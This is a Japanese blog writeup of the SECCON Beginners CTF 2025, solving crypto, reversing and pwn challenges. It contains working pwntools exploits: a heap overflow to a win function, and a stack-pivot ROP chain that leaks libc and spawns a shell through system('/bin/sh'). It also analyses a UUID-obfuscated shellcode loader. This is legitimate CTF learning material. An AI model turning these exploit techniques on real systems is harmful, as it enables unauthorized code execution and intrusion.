2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON Beginners CTF 2025 - Writeup

Last updated at Posted at 2025-07-27

初めに

SOCの同僚と計2名でSECCON Beginners CTF 2025に参加しました。
自分が解いた問題のWriteupになります。
※ほぼRevとPwnです。

image.png

crypto

01-Translator

ECBモードを使っている!これ知ってる!
0と1を16バイトごとの文字に変換できるのでそのまま暗号化を通したところでバイトを1つずつ1/2の確率で復元できる。ECBの各ブロックが同じだったら同じ暗号化を行うことを利用する形である。

from pwn import *
from Crypto.Util.number import long_to_bytes


host = "01-translator.challenges.beginners.seccon.jp"
port = 9999
payload_0 = "A" * 16
payload_1 = "B" * 16

p = remote(host, port, level='error')
p.recvuntil(b"translations for 0> ")
p.sendline(payload_0.encode())
p.recvuntil(b"translations for 1> ")
p.sendline(payload_1.encode())
response_line = p.recvline()
full_ciphertext = response_line.strip().split(b": ")[1].decode()
p.close()
print(f"full ciphertext: {full_ciphertext}")

# フラグの最初のビットは '1' と仮定
enc_1 = full_ciphertext[:32]
print(f"1 block: {enc_1}")

# enc_1 とは異なるブロックを探し、それを '0' のブロック
enc_0 = None
num_blocks = len(full_ciphertext) // 32
for i in range(num_blocks):
    block = full_ciphertext[i*32 : (i+1)*32]
    if block != enc_1:
        enc_0 = block
        break

print(f"0 block: {enc_0}")


num_bits = num_blocks - 1  # 最後イラン
recovered_bin = ""
for i in range(num_bits):
    block = full_ciphertext[i*32 : (i+1)*32]
    if block == enc_0:
        recovered_bin += "0"
    elif block == enc_1:
        recovered_bin += "1"
    else:
        recovered_bin += "?" # 出てこんはず

print(f"recover: {recovered_bin}")
assert "?" not in recovered_bin, "Oh NO"

flag_int = int(recovered_bin, 2)
flag_bytes = long_to_bytes(flag_int)
flag = flag_bytes.decode()

print("\n" + "="*40)
print(f"flag is here : {flag}")
print("="*40)

上記実行する。
スクリーンショット 2025-07-27 151052.png
スクリーンショット 2025-07-27 081315.png
初めて理解しながら解けた暗号問題な気がする。

Elliptic4b

何もわからんかった。楕円曲線怖い。
AIさんが解いてくれた。
スクリーンショット 2025-07-27 121004.png

reversing

wasm_S_exp

webassemblyさんのアセンブリを読むだけ。
最後の方にあるstirは以下の動作をしている。

def stir(x):
    return 1024 + ((23 + 37 * (x ^ 0x5a5a)) % 101)

それ以外はこの関数を呼び出している感じ。メモリマップをこの返り値から求めてbyteを並び替えてるといった動作ポイ。
以下で再現するだけ。

def stir(x):
    return 1024 + ((23 + 37 * (x ^ 0x5a5a)) % 101)

checks = [
    (0x7b, 38),
    (0x67, 20),
    (0x5f, 46),
    (0x21, 3),
    (0x63, 18),
    (0x6e, 119),
    (0x5f, 51),
    (0x79, 59),
    (0x34, 9),
    (0x57, 4),
    (0x35, 37),
    (0x33, 12),
    (0x62, 111),
    (0x63, 45),
    (0x7d, 97),
    (0x30, 54),
    (0x74, 112),
    (0x31, 106),
    (0x66, 43),
    (0x34, 17),
    (0x34, 98),
    (0x54, 120),
    (0x5f, 25),
    (0x6c, 127),
    (0x41, 26),
]

reconstructed = {stir(k): chr(v) for v, k in checks}
flag = ''.join(reconstructed[k] for k in sorted(reconstructed))
print(f"sorted flag: {flag}")

スクリーンショット 2025-07-27 175542.png

MAFC

PEの実行ファイルとエンコードされたフラグが渡されます。
とりあえずDiEで実行ファイルを表層解析。

スクリーンショット 2025-07-26 194157.png
特段気になることはなし、難読化もあまりされてなさそうだった。
無難にデコンパイラで確認しましょうか
スクリーンショット 2025-07-26 194521.png
スクリーンショット 2025-07-26 194935.png
main関数にすべてが詰まってそう。
ThisIsTheEncryptKeyのSHA256の先頭32バイトをKeyとしてAES-CBCやってるだけっぽい。IVはIVCanObfuscationぽい。これをCyberCefに突っ込む。

ただIVはIVCanObfuscationをUTF8でただ突っ込んでも上手くいかなかったので適当にBP取ってデバックしてみた。
スクリーンショット 2025-07-26 212634.png
\x00が入るポイ。修正した結果が以下だ。
スクリーンショット 2025-07-26 212734.png

code_injection

なんかVirtualAllocでメモリ確保してシェルコードをUUID書いてる.\sh.txtから突っ込んでEnumSystemLocalesAで実行していくように見えます。
この難読化珍しいけどMaldevとかで見ますね。
スクリーンショット 2025-07-26 213827.png

適当に以下のようにps1を編集してメモリ上のシェルコードをoutput.binで確保します。
スクリーンショット 2025-07-26 214931.png
スクリーンショット 2025-07-26 214944.png
わぁ...シェルコードだぁ...
BlobRunnerで簡易に実行します。

お知らせされるアドレスにBPを張って実行させます。

スクリーンショット 2025-07-26 220541.png

そんなにデカくないので適当に動的解析していきます。
最初に色々と比較している命令達にぶち当たるので比較対象のメモリアドレスをDump2に入れて確認します。

スクリーンショット 2025-07-26 221921.png

環境変数ぽいですね。何かDEV環境かとか確認する用でしょうか?
そのままだとreturnする所まで処理が飛ぶので面倒だなー。
フラグ処理部分ではないし、面倒なので無理矢理突破させます。

スクリーンショット 2025-07-26 224217.png
条件分岐パッチしてやりました。
暫くすると以下の処理に当たります。
スクリーンショット 2025-07-26 225046.png
フラグ処理ぶぶんですね 。[rsp+50]がXORkey、[rdx+rcx+8]には難読化されているフラグがあります。
rcxがカウンタ部分でrdxはStackを指してます。となると復号に必要な情報はStackにこの時点で入ってそうなので適当に見てみます。
スクリーンショット 2025-07-26 231236.png
あったわ。この値は以下のような命令でハードコードされている。変わってくるのはKeyだろう。
と言ってもここまで情報出揃っていればいくらか回してればKeyをGuess出来た。

#テキトーに書いてるので許して

mov rdx, 0x123456789
mov [rsp+10], rdx

ではこの処理を再現するソルバーを書く。なるべくアセンブリの形に寄せたので何となくアセンブリとの対応関係を理解してみてほしい。

from pwn import *

stack = [
    0x6B09591014035908,
    0x681C13044E56721F,
    0x2A087D454E564005,
    0x52134041503A405B,
]
key = 0x586E227220652D6B

for rcx in range(4):
    r9 = key
    r9 ^= stack[rcx]
    r9 &= 0xFFFFFFFFFFFFFFFF
    stack[rcx] = r9
    
plain_bytes = b''.join([p64(x) for x in stack])
print(f"Flag: {plain_bytes}")

image.png

解けた後に環境変数にCTF4B=1を追加すればいいことに気付いた。0x540043を比較してる時点でC, Tと気づくべきだった。まだまだ初心者だ。
(フラグに関するどういう処理をしているかわからなかったので、あまり環境変数には注目してなかったという言い訳。)

pwnable

pet_name

良い感じにBOFさせるだけ。
スクリーンショット 2025-07-26 141229.png

pet_sound

Tagetまでheap BOFさせるだけでいい。
sizeを崩すのはなんか気が引けたので律儀に値を取ってる。
winすべきアドレスは表示されていたことに気付かずに、相対アドレスを計算してました。

from pwn import *
import time

binfile = './chall'

rhost = 'pet-sound.challenges.beginners.seccon.jp'
rport = 9090 

elf = ELF(binfile)
context.binary = elf
libc = elf.libc

def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    else:
        p = process(elf.path)
    return p
  
p = conn()

p.recvuntil(b'<-- pet_A->sound')
p.recvuntil(b': ')
p.recvuntil(b': ')
p.recvuntil(b': ')
p.recvuntil(b': ')
size = int(p.recvline()[:-1] ,16)
p.recvuntil(b': ')
target = int(p.recvuntil(b' <')[:-2], 16)
win = target - 0x140

payload = b'A' * 0x20
payload += pack(size) 
payload += pack(win)

p.sendafter(b'Input a new cry for Pet A >', payload)

p.interactive()

スクリーンショット 2025-07-26 143128.png

pivot4b

readでの入力が0x40しかないのが辛い。message:でStackのaddressが分かるので、leave; ret;を用いてstackを偽装する。

leave ret

このチャレンジでも利用したテクニックだ。

leave命令は以下のようにmov rsp, rbppop rbpを同時に行う命令である。

mov rsp, rbp
pop rbp

なのでleave命令が走る前にrbpを任意の値にできるのであれば好きな位置からStackを構成できる。
よってReturnアドレスの位置をrspの変更によって好きにできる。

このバイナリでは以下のようにRIP制御するアドレスに到達する前にleave命令が入るのでpop rbpによってRIPを取る直前のaddressがrbpに差し込まれる。
image.png
image.png
上記だと0x7fff89597938が入った。
image.png
続いてleave命令が入ると、0x7fff89597938がrspに入り、その後pop rbpが走るので0x7fff89597938の中身がrbpに入る。上記のようにrspが0x8バイト進んで0x7fff89597940となる。

Exploit

上記の0x7fff89597938などの最初にrbpへ突っ込んでいた値をmessage:でリークされていた値などにすると、stackの位置を入力したアドレスにすることができる。
これによってReturnアドレスを上書きするために埋めていた、意味のないByte入力を意味のあるROPchainにすることができる!

方針としては以下の感じ。

  1. GOTリークからlibcアドレスリーク
  2. もう一度readさせる位置へRIPを向ける
  3. リークしたアドレスから/bin/shの位置を計算する
  4. pop rbpを利用して再度Stack偽装する
  5. systemでシェルを起動させる

こんな感じで行けました。
(追記: Stackにb'/bin/sh\x00'積めばよかったのに、ややこしいことをしおって。)

from pwn import *
import time

binfile = './chall_patched'
libcfile = 'libc.so.6'
rhost = 'pivot4b.challenges.beginners.seccon.jp'
rport = 12300


gdb_script = '''
b main
b *0x0000000000401207
b *0x4011ec
'''

elf = ELF(binfile)
context.binary = elf
libc = elf.libc

def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    elif args.GDB:
        p = process(elf.path)
        gdb.attach(p, gdbscript=gdb_script)
    else:
        p = process(elf.path)
    return p
  
p = conn()

p.recvuntil(b"Here's the pointer to message: ")
stack_leak = int(p.recvline()[:-1] ,16)
print('stack_leak: ', hex(stack_leak))
stack_base = stack_leak - 0x1fc30

pop_rdi = 0x000000000040117a
pop_rdp = 0x000000000040115d
ret  = 0x000000000040101a
leav_ret = 0x0000000000401211


payload = b'Hi' + b'\x00' * 6
payload += pack(stack_leak + 0x30)
payload += pack(pop_rdi)
payload += pack(elf.got['puts'])
payload += pack(elf.sym['puts'])
payload += pack(0x00000000004011db)
payload += pack(stack_leak+0x8)
payload += pack(leav_ret)

print(hex(len(payload)))
assert len(payload) <= 0x40, 'Too long payload'

# gdb.attach(p, gdbscript=gdb_script)
# time.sleep(1)
p.sendafter(b'> ', payload)
p.recvuntil(b'Message: ')
p.recvuntil(b'\n')
puts = unpack(p.recv(6).ljust(8, b'\x00'))
print('put: ', hex(puts))

libc.address = puts - 0x80e50
print('libcadd: ', hex(libc.address))
binsh = next(libc.search(b'/bin/sh\x00'))
time.sleep(0.5)

payload = b'Hi' + b'\x00' * 6
payload += pack(stack_leak + 0x30)
payload += pack(pop_rdi)
payload += pack(binsh)
payload += pack(elf.sym['system'])
payload += pack(pop_rdp)
payload += pack(stack_leak+0x8)
payload += pack(leav_ret)

print(hex(len(payload)))
assert len(payload) <= 0x40, 'Too long payload'

p.sendline(payload)

p.interactive()

image.png

最後に

RevがWindowsバイナリ多めのリアリティある感じで面白かったですね。
後はpivot4b++と心中しました。何もわからんでした。まだまだ初心者なようで、精進します。

最後に運営の皆さんありがとうございました。
良い休日になりました!

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?